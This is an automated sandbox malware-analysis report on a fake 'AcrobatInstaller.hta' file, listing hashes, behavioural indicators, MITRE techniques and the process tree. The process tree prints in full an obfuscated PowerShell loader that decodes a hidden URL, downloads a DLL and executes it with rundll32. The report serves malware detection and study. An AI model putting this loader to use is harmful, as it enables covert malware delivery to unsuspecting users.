18810249d8c67ac8926613e773e1c5e40449be55c595116dce99bb35004de374

Analysis

max time kernel
35s
max time network
42s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
09-12-2022 06:58

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General

Target

AcrobatInstaller.hta
Size

96KB
MD5

24432d480bb9d709ab25209a630cb203
SHA1

42a30be9fb069c43ef06fb9acb47909d9dab8cef
SHA256

18810249d8c67ac8926613e773e1c5e40449be55c595116dce99bb35004de374
SHA512

be12606eec050d7c9073c9e36ddbb18b3d69a12dc5823a601b089729640abeeb5e6a7a2ac07131198c468ae96366ef95274409573ebf771a97678d30e049a04a
SSDEEP

1536:v9Q2Ca7Qr8FYoV+iUpQCe9WRhIHt/7YZ1f:v9QTa7Qr8FYc+iUkgYJUnf

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	844	powershell.exe
5	844	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
844	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	844	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1708 wrote to memory of 844	1708	mshta.exe	26
PID 1708 wrote to memory of 844	1708	mshta.exe	26
PID 1708 wrote to memory of 844	1708	mshta.exe	26
PID 1708 wrote to memory of 844	1708	mshta.exe	26
PID 844 wrote to memory of 1356	844	powershell.exe	28
PID 844 wrote to memory of 1356	844	powershell.exe	28
PID 844 wrote to memory of 1356	844	powershell.exe	28
PID 844 wrote to memory of 1356	844	powershell.exe	28
PID 844 wrote to memory of 1356	844	powershell.exe	28
PID 844 wrote to memory of 1356	844	powershell.exe	28
PID 844 wrote to memory of 1356	844	powershell.exe	28

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\AcrobatInstaller.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1708
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function MWG($Fii, $erX){[IO.File]::WriteAllBytes($Fii, $erX)};function LaM($Fii){if($Fii.EndsWith((HQD @(6236,6290,6298,6298))) -eq $True){rundll32.exe $Fii , mruAlloc }elseif($Fii.EndsWith((HQD @(6236,6302,6305,6239))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $Fii}elseif($Fii.EndsWith((HQD @(6236,6299,6305,6295))) -eq $True){misexec /qn /i $Fii}else{Start-Process $Fii}};function NRU($eMW){$QMX = New-Object (HQD @(6268,6291,6306,6236,6277,6291,6288,6257,6298,6295,6291,6300,6306));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$erX = $QMX.DownloadData($eMW);return $erX};function HQD($vfw){$ZTq=6190;$ViK=$Null;foreach($aFd in $vfw){$ViK+=[char]($aFd-$ZTq)};return $ViK};function Xxb(){$Bpm = $env:AppData + '\';;;$WbktydWSz = $Bpm + '1011t1_cr1.dll'; if (Test-Path -Path $WbktydWSz){LaM $WbktydWSz;}Else{ $jPzXrDoPH = NRU (HQD @(6294,6306,6306,6302,6305,6248,6237,6237,6289,6304,6307,6290,6305,6235,6289,6298,6307,6288,6236,6289,6301,6299,6237,6239,6238,6239,6239,6306,6239,6285,6289,6304,6239,6236,6290,6298,6298));MWG $WbktydWSz $jPzXrDoPH;LaM $WbktydWSz;};;}Xxb;
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:844
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\system32\rundll32.exe" C:\Users\Admin\AppData\Roaming\1011t1_cr1.dll mruAlloc
    3⤵
    PID:1356

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/844-57-0x00000000720C0000-0x000000007266B000-memory.dmp

Filesize
5.7MB

Download
memory/844-59-0x00000000720C0000-0x000000007266B000-memory.dmp

Filesize
5.7MB

Download
memory/1708-54-0x0000000075451000-0x0000000075453000-memory.dmp

Filesize
8KB

Download